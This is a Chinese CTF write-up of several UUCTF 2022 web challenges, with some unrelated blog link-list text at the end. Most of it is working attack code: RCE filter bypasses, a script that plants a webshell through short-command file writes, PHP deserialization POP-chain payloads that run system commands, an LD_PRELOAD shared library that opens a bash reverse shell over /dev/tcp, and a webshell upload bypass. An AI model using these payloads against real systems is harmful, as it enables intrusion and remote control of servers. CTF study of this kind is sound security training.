websign

无法右键 禁用js后 看源码

ez_rce -- 闭合

源码,禁用的东西挺多的 仔细发现 ? <> `没有禁用,闭合标签反引号执行命令

  1. ## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
  2. if(isset($_GET['code'])){
  3. $code=$_GET['code'];
  4. if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
  5. echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
  6. eval($code);
  7. }
  8. else{
  9. die("你想干什么?????????");
  10. }
  11. }
  12. else{
  13. echo "居然都不输入参数,可恶!!!!!!!!!";
  14. show_source(__FILE__);
  15. }

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wkx4nqjg-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084645846.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8KGVTDW-1667461598333)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221102084658608.png)]

nl输出

ezsql -- 输入反向

直接给出了查询语句

发现输入 11')--+ 显示的是 +--)'11 完全反过来了

首先使用万能密码试试

发现即使输入时正确的账号密码也不会回显flag

找列数 2列

这里过滤了or 双写绕过,查找表名和数据库名

查列名UUCTF

查内容

ezrce -- 6字符RCE

hint:这是一个命令执行接口

我知道咯这是六字符 起初我输入>nl 回显命令执行失败 我以为没有运行 所以没写

所以说不可以完全信回显

我们要先找到写文件写的目录 echo 一下,文件写在./tmp/

方法一

  1. >nl
  2. * /*>d
  3. 第一个:创建一个叫nl的文件
  4. * /*>d 意思就是 nl /*>f 第一个*就是将ls列出文件名第一个当作命令 其他当作参数

方法二

前置知识

  1. >a Linux会创建一个叫a的文件
  2. *>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
  3. *v>0 等价于 rev v >0 反转
  4. sh 0 0文件的内容当作命令执行
  5. ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
  6. linux下换行执行命令:
  7. ech\
  8. o\
  9. 111

跑脚本,写木马

  1. url="http://43.142.108.3:28933/post.php"
  2. print("[+]start attack!!!")
  3. with open("5字符RCE.txt", "r") as f:
  4. for i in f:
  5. data = {"cmd": f"{i.strip()}"}
  6. requests.post(url=url,data=data)
  7. resp = requests.get("http://43.142.108.3:28933/tmp/1.php")
  8. if resp.status_code == requests.codes.ok:
  9. print("[*]Attack success!!!")
  10. 5字符RCE.txt
  11. >dir
  12. >sl
  13. >ht-
  14. >f\>
  15. *>v
  16. >rev
  17. *v>0
  18. >hp
  19. >1.p\\
  20. >d\>\\
  21. >\ -\\
  22. >e64\\
  23. >bas\\
  24. >7\|\\
  25. >XSk\\
  26. >Fsx\\
  27. >dFV\\
  28. >kX0\\
  29. >bCg\\
  30. >XZh\\
  31. >AgZ\\
  32. >waH\\
  33. >PD9\\
  34. >o\ \\
  35. >ech\\
  36. sh 0
  37. sh f

ez_unser -- 引用绕过wakeup

反序列化 审计代码

  1. class test{
  2. public $a;
  3. public $b;
  4. public $c;
  5. public function __construct(){
  6. $this->a=1;
  7. $this->b=2;
  8. $this->c=3;
  9. }
  10. public function __wakeup(){
  11. $this->a='';
  12. }
  13. public function __destruct(){
  14. // 可以看到这里有一个 $this->b=$this->c; 这里就是我们利用的地方
  15. // 这里说下php引用问题 当a=&b是 a和b分配的是同一快内存地址 也就是 a b永远相等
  16. $this->b=$this->c;
  17. // 终点
  18. eval($this->a);
  19. }
  20. }
  21. $a=$_GET['a'];
  22. // 这里限制我们不能修改test后的参数 也就是不可以通过修改参数绕过 __wakeup
  23. if(!preg_match('/test":3/i',$a)){
  24. die("你输入的不正确!!!搞什么!!");
  25. }
  26. $bbb=unserialize($_GET['a']);

构造POC

  1. class test{
  2. public $a;
  3. public $b;
  4. public $c;
  5. public function __construct(){
  6. $this->a=&$this->b;
  7. $this->b=2;
  8. $this->c="system('ls');";
  9. }
  10. }
  11. echo((serialize(new test())));

最终的payload

  1. <?php
  2. class test{
  3. public $a;
  4. public $b;
  5. public $c;
  6. public function __construct(){
  7. $this->a=&$this->b;
  8. $this->b=2;
  9. $this->c="system('cat /f*');";
  10. }
  11. }
  12. echo((serialize(new test())));

ez_upload--apache解析漏洞

文件上传也就是哪些方式 一个一个试就好

apache解析漏洞 上传shell.jpg.php即可

phonecode--mt_rand函数

hint:你能猜到验证码吗? 猜测就是随机数预判

打开题目 根据提示 意思就是让我们猜验证码是什么

我们先输入手机号和验证码试试,发现无论请求多少次 hint永远是895547922,结合mt_srand和mt_rand函数 当设置的种子确定(此处的种子时输入的手机号)时,每次的mt_rand都是固定的 我们可以猜测hint就是mt_rand的第一次,而目的验证码就是mt_rand的第二次

  1. mt_srand(11111);
  2. echo mt_rand(); // 一直是恒定的
  3. echo mt_rand(); // 一直是恒定的
  4. echo mt_rand(); // 一直是恒定的

我们写代码 弄出第二次的mt_rand

  1. mt_srand(123);
  2. echo mt_rand()."\n"; //895547922
  3. echo mt_rand()."\n"; //2141438069

发现果然 第一次的mt_rand就是hint

我们将code改为2141438069

uploadandinject--LD_PRELOAD劫持

打开题目发现有hint

看看hint,意思就是看看swp(Linuxvim产生的文件).index.php.swp或者看到swp扫描就好

下载 可以看到源码 使用 vi -r index.php.swp 恢复文件内容

  1. $PATH=$_GET["image_path"];
  2. if((!isset($PATH))){
  3. $PATH="upload/1.jpg";
  4. }
  5. echo "<div align='center'>";
  6. loadimg($PATH);
  7. echo "</div>";
  8. function loadimg($img_path){
  9. if(file_exists($img_path)){
  10. //设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
  11. putenv("LD_PRELOAD=/var/www/html/$img_path");
  12. system("echo Success to load");
  13. echo "<br><img src=$img_path>";
  14. }else{
  15. system("echo Failed to load ");
  16. }
  17. }

而且我们笃定是有上传的网页的,限制了文件类型 我们想要上传的是so,但是LD_PRELOAD也能解析jpg后缀 所以修改后缀上传就可以

那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数 ,本地测试可以发现,system会调用/bin/sh

所以我们写一个exp.c

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <string.h>
  4. void payload() {
  5. //反弹shell
  6. system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");
  7. }
  8. char *strcpy (char *__restrict __dest, const char *__restrict __src) {
  9. if (getenv("LD_PRELOAD") == NULL) {
  10. return 0;
  11. }
  12. unsetenv("LD_PRELOAD");
  13. payload();
  14. }

编译成so文件 然后修改后缀为jpg

  1. gcc -shared -fPIC exp.c -o exp.so

在upload/upload.php上传

然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path

  1. //设置环境变量的值 添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态 设置.so LD_PRELOAD设置的优先加载动态链接库
  2. putenv("LD_PRELOAD=/var/www/html/$img_path");
  3. // 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shell
  4. system("echo Success to load");

要先在攻击机上监听端口

反弹shell成功

输出flag

ezpop -- 字符串逃逸

打开题目给出的就是源码

  1. //flag in flag.php
  2. error_reporting(0);
  3. class UUCTF{
  4. public $name,$key,$basedata,$ob;
  5. function __construct($str){
  6. $this->name=$str;
  7. }
  8. function __wakeup(){
  9. if($this->key==="UUCTF"){
  10. $this->ob=unserialize(base64_decode($this->basedata));
  11. }
  12. else{
  13. die("oh!you should learn PHP unserialize String escape!");
  14. }
  15. }
  16. }
  17. class output{
  18. public $a;
  19. function __toString(){
  20. $this->a->rce();
  21. }
  22. }
  23. class nothing{
  24. public $a;
  25. public $b;
  26. public $t;
  27. function __wakeup(){
  28. $this->a="";
  29. }
  30. function __destruct(){
  31. $this->b=$this->t;
  32. die($this->a);
  33. }
  34. }
  35. class youwant{
  36. public $cmd;
  37. function rce(){
  38. eval($this->cmd);
  39. }
  40. }
  41. $pdata=$_POST["data"];
  42. if(isset($pdata))
  43. {
  44. $data=serialize(new UUCTF($pdata));
  45. $data_replace=str_replace("hacker","loveuu!",$data);
  46. unserialize($data_replace);
  47. }else{
  48. highlight_file(__FILE__);
  49. }
  50. ?>

考点就是字符串逃逸,刚开始直接序列化UUCTF类,经过替换之后5字符变6字符,我们没有给$this->key直接赋值但是要求是UUCTF才可以继续下去,所以通过字符串逃逸间接给key赋值

  1. if($this->key==="UUCTF"){
  2. $this->ob=unserialize(base64_decode($this->basedata));
  3. }

我们在本地一步一步测试

首先随便输入根据输出构造,测试发现进入了我们的目标

  1. O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
  2. O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}
  3. hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}

然后构造执行命令的那块POC

  1. class output{
  2. public $a;
  3. function __toString(){
  4. //1、调用目的函数 __toString 对象实例被当作字符串处理调用
  5. $this->a->rce();
  6. }
  7. }
  8. class nothing{
  9. public $a;
  10. public $b;
  11. public $t;
  12. function __wakeup(){
  13. $this->a="";
  14. }
  15. function __destruct(){
  16. //2.要绕过__wakeup 但是这里php版本是7.2.34 不能利用多写参数绕过 我们还是利用引用绕过
  17. $this->b=$this->t;
  18. // 这里返回的是字符串
  19. die($this->a);
  20. }
  21. }
  22. class youwant{
  23. public $cmd;
  24. function rce(){
  25. // 终点
  26. eval($this->cmd);
  27. }
  28. }

POC

  1. <?php
  2. class output{
  3. public $a;
  4. function __construct(){
  5. $this->a=new youwant();
  6. }
  7. }
  8. class nothing{
  9. public $a;
  10. public $b;
  11. public $t;
  12. function __construct(){
  13. $this->a=&$this->b;
  14. $this->b='xx';
  15. $this->t=new output();
  16. }
  17. }
  18. class youwant{
  19. public $cmd;
  20. function __construct()
  21. {
  22. $this->cmd="phpinfo();";
  23. }
  24. }
  25. echo(base64_encode(serialize(new nothing())));

将上面两处的构造的结合起来的payload

  1. <?php
  2. class output{
  3. public $a;
  4. function __construct(){
  5. $this->a=new youwant();
  6. }
  7. }
  8. class nothing{
  9. public $a;
  10. public $b;
  11. public $t;
  12. function __construct(){
  13. $this->a=&$this->b;
  14. $this->b='xx';
  15. $this->t=new output();
  16. }
  17. }
  18. class youwant{
  19. public $cmd;
  20. function __construct()
  21. {
  22. $this->cmd="phpinfo();";
  23. }
  24. }
  25. $basedata = (base64_encode(serialize(new nothing())));
  26. $str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
  27. echo $str."\n";
  28. $hacker='';
  29. for($i=0;$i<strlen($str);$i++)
  30. {
  31. $hacker.='hacker';
  32. }
  33. $payload = $hacker.$str;
  34. echo $payload;

执行效果

找flag在当前目录的flag.php

  1. <?php
  2. class output{
  3. public $a;
  4. function __construct(){
  5. $this->a=new youwant();
  6. }
  7. }
  8. class nothing{
  9. public $a;
  10. public $b;
  11. public $t;
  12. function __construct(){
  13. $this->a=&$this->b;
  14. $this->b='xx';
  15. $this->t=new output();
  16. }
  17. }
  18. class youwant{
  19. public $cmd;
  20. function __construct()
  21. {
  22. $this->cmd="system('cat flag.php');";
  23. }
  24. }
  25. $basedata = (base64_encode(serialize(new nothing())));
  26. $str = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';
  27. $hacker='';
  28. for($i=0;$i<strlen($str);$i++)
  29. {
  30. $hacker.='hacker';
  31. }
  32. $payload = $hacker.$str;
  33. echo $payload;

funmd5--对代码的理解

打开题目 直接源码

重点

  1. if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
  2. echo "well!you win again!now flag is yours.<br>";
  3. echo $flag;
  4. }

我们知道$md5[0]==md5($md5[0])绕过可以使用0e215962017,但是还要绕过preg_replace使用%0a,我们审计代码发现,后面有对md5[0]的截取 我们只要保证$sub=1从第一位开始截取,就可以避免%0a,而且$sub的值是当前时间的最后一位,也就是保证当前的时间为xxxxxxxx1即可

  1. $sub=substr($time,-1);
  2. $md5[0]=substr($md5[0],$sub);

$guessmd5=md5($time);我们使用脚本快速请求就可以在传入md5[1]也是当前时间的md5值 两者就相等

脚本

  1. import hashlib,time,requests
  2. def guess_md5():
  3. while True:
  4. url = f"http://43.143.7.97:28179/?md5[0]=%0a0e215962017&md5[1]={str(hashlib.md5(str(int(time.time())).encode()).hexdigest())}"
  5. resp = requests.get(url=url)
  6. if "win" in resp.text:
  7. print(resp.text)
  8. return
  9. time.sleep(1)
  10. guess_md5()

backdoor--tonyenc加密

这题我不太会哦 没咋理解 不是很会使用IDA

hint:backdoor.php是一个后门文件

打开题目 说 布里茨 布里茨就是lol的机器人 看robots.txt

下载源码,发现五个文件大致看下 robots.txt index.php无信息

看看backdoor.php的代码,根据提示 他是一个后门文件 那肯定是有连接后门的密码的,但是乱码又不知道

到了这里属实是没啥思路 看wp IDA逆向so文件

so文件是Linux下向当于Windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据

发现了tonyenc_encode函数

百度搜索这个是啥:

  • 一个简洁、高性能、跨平台的 PHP7 代码加密扩展,当前版本为 0.2.2
  • 就是对PHP7的代码进行加密的函数

百度搜一下找到git项目

GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)

编译前请在 core.h 中做如下修改:

  1. /* 这里定制你的加密特征头,不限长度,十六进制哦 */
  2. const u_char tonyenc_header[] = {
  3. 0x66, 0x88, 0xff, 0x4f,
  4. 0x68, 0x86, 0x00, 0x56,
  5. 0x11, 0x16, 0x16, 0x18,
  6. };
  7. /* 这里指定密钥,长一些更安全 */
  8. const u_char tonyenc_key[] = {
  9. 0x9f, 0x49, 0x52, 0x00,
  10. 0x58, 0x9f, 0xff, 0x21,
  11. 0x3e, 0xfe, 0xea, 0xfa,
  12. 0xa6, 0x33, 0xf3, 0xc6,
  13. };

在IDA中找到对应的加密头和key

根据github源码写解密py脚本

  1. import base64
  2. header=[
  3. 0x66, 0x88, 0xff, 0x4f,
  4. 0x68, 0x86, 0x00, 0x56,
  5. 0x11, 0x61, 0x16, 0x18,
  6. ]
  7. key=[
  8. 0x9f, 0x58, 0x54, 0x00,
  9. 0x58, 0x9f, 0xff, 0x23,
  10. 0x8e, 0xfe, 0xea, 0xfa,
  11. 0xa6, 0x35, 0xf3, 0xc6]
  12. def decode(data,len):
  13. p =0
  14. for i in range(0,len):
  15. if (i & 1):
  16. p += key[p] + i;
  17. p %= 16;
  18. t = key[p];
  19. data[i] = ~data[i]^t;
  20. if data[i] < 0:
  21. data[i]=data[i]+256
  22. decode = "".join([chr(c) for c in data])
  23. return decode
  24. encodefile=open('backdoor.php',"rb")
  25. base64_encodestr=base64.b64encode(encodefile.read())
  26. convert=[c for c in base64.b64decode(base64_encodestr)]
  27. del convert[0:len(header)]
  28. print(str(decode(convert,len(convert))))

解密得到backdoor.php文件内容为

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gEwEUhZ0-1667461598351)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221103154452619.png)]

2022UUCTF--WEB的更多相关文章

  1. C# Web应用调试开启外部访问

    在用C#开发Web应用时有个痛点,就是本机用VS开启Web应用调试时外部机器无法访问此Web应用.这里将会介绍如何通过设置允许局域网和外网机器访问本机的Web应用. 目录 1. 设置内网访问 2. 设 ...

  2. 网页提交中文到WEB容器的经历了些什么过程....

    先准备一个网页 <html><meta http-equiv="Content-Type" content="text/html; charset=gb ...

  3. 闲来无聊,研究一下Web服务器 的源程序

    web服务器是如何工作的 1989年的夏天,蒂姆.博纳斯-李开发了世界上第一个web服务器和web客户机.这个浏览器程序是一个简单的电话号码查询软件.最初的web服务器程序就是一个利用浏览器和web服 ...

  4. java: web应用中不经意的内存泄露

    前面有一篇讲解如何在spring mvc web应用中一启动就执行某些逻辑,今天无意发现如果使用不当,很容易引起内存泄露,测试代码如下: 1.定义一个类App package com.cnblogs. ...

  5. 对抗密码破解 —— Web 前端慢 Hash

    (更新:https://www.cnblogs.com/index-html/p/frontend_kdf.html ) 0x00 前言 天下武功,唯快不破.但在密码学中则不同.算法越快,越容易破. ...

  6. 使用 Nodejs 搭建简单的Web服务器

    使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块. ...

  7. 一步步开发自己的博客 .NET版(11、Web.config文件的读取和修改)

    Web.config的读取 对于Web.config的读取大家都很属性了.平时我们用得比较多的就是appSettings节点下配置.如: 我们对应的代码是: = ConfigurationManage ...

  8. Web性能优化:What? Why? How?

    为什么要提升web性能? Web性能黄金准则:只有10%~20%的最终用户响应时间花在了下载html文档上,其余的80%~90%时间花在了下载页面组件上. web性能对于用户体验有及其重要的影响,根据 ...

  9. Web性能优化:图片优化

    程序员都是懒孩子,想直接看自动优化的点:传送门 我自己的Blog:http://cabbit.me/web-image-optimization/ HTTP Archieve有个统计,图片内容已经占到 ...

  10. 使用ServiceStack构建Web服务

    提到构建WebService服务,大家肯定第一个想到的是使用WCF,因为简单快捷嘛.首先要说明的是,本人对WCF不太了解,但是想快速建立一个WebService,于是看到了MSDN上的这一篇文章 Bu ...

随机推荐

  1. Excel 笔记目录

    前言 Excel 是微软(Microsoft)公司推出的 Office 办公系列软件的一个重要组成部分,主要用于电子表格处理,可以高效地完成各种表格和图表的设计,进行复杂的数据计算和分析. 一句科普 ...

  2. python中的画图神器——turtle模块

    turtle库的基础命令介绍(1)画布画布cancas是绘图区域,可以设置它的大小和初始位置 turtle.screensize(1000,600,'red') 大小的设置 turtle.setup( ...

  3. 2020/12/9 酒etf

    2020/12/9 2.315建仓酒etf,之后陆续加仓,拿到年底看看 2020/12/12 2.36卖出部分,目前成本2.106,盈利百分之9.449,白酒应该是没问题,但感觉年前应该有波调整. 2 ...

  4. 在Boss直聘上投简历时,怎样保证有新消息时能及时收到

    最近在Boss直聘上投简历,偶尔会有HR给我发消息,不想在电脑上错过这些消息,但我又不能时时刻刻盯着这个页,怎么办呢? 这时,我想起来,之前做过的Chrome插件,如果检测到Boss直聘上新消息数大于 ...

  5. Python中None作为索引的作用

    None的作用主要是在使用None的位置新增一个维度. a = np.arange(25).reshape(5,5) print(a) ''' [[ 0 1 2 3 4] [ 5 6 7 8 9] [ ...

  6. 三分钟,带你了解PLM

    PLM应用于单一地点或者多个地点的企业内部.以及在产品研发领域具有协作关系的企业之间的.支持产品全生命周期的信息的创建.管理.分发和应用的综合性的应用解决方案,能够集成与产品相关的流程.应用系统和信息 ...

  7. flink-cdc同步mysql数据到hbase

    本文首发于我的个人博客网站 等待下一个秋-Flink 什么是CDC? CDC是(Change Data Capture 变更数据获取)的简称.核心思想是,监测并捕获数据库的变动(包括数据 或 数据表的 ...

  8. 异步编程promise

    异步编程发展 异步编程经历了 callback.promise.async/await.generator四个阶段,其中promise和async/await使用最为频繁,而generator因为语法 ...

  9. [开源福利] FreeRedis 历时两年正式发布 v1.0 [C#.NET Redis Client]

    最近很多 .net QQ 群无故被封停,特别是 wpf 群几乎全军覆没.依乐祝的 .net6交流群,晓晨的 .net跨平台交流群,导致很多码友流离失所无家可归,借此机会使用一次召唤术,有需要的请加群: ...

  10. 合理编写C++模块(.h、.cc)

    模块划分 合理编写模块的 demo.h.demo.cc 下例为C++为后端服务编写的探活检测服务 health_server.h #ifndef HEALTH_SERVER_H #define HEA ...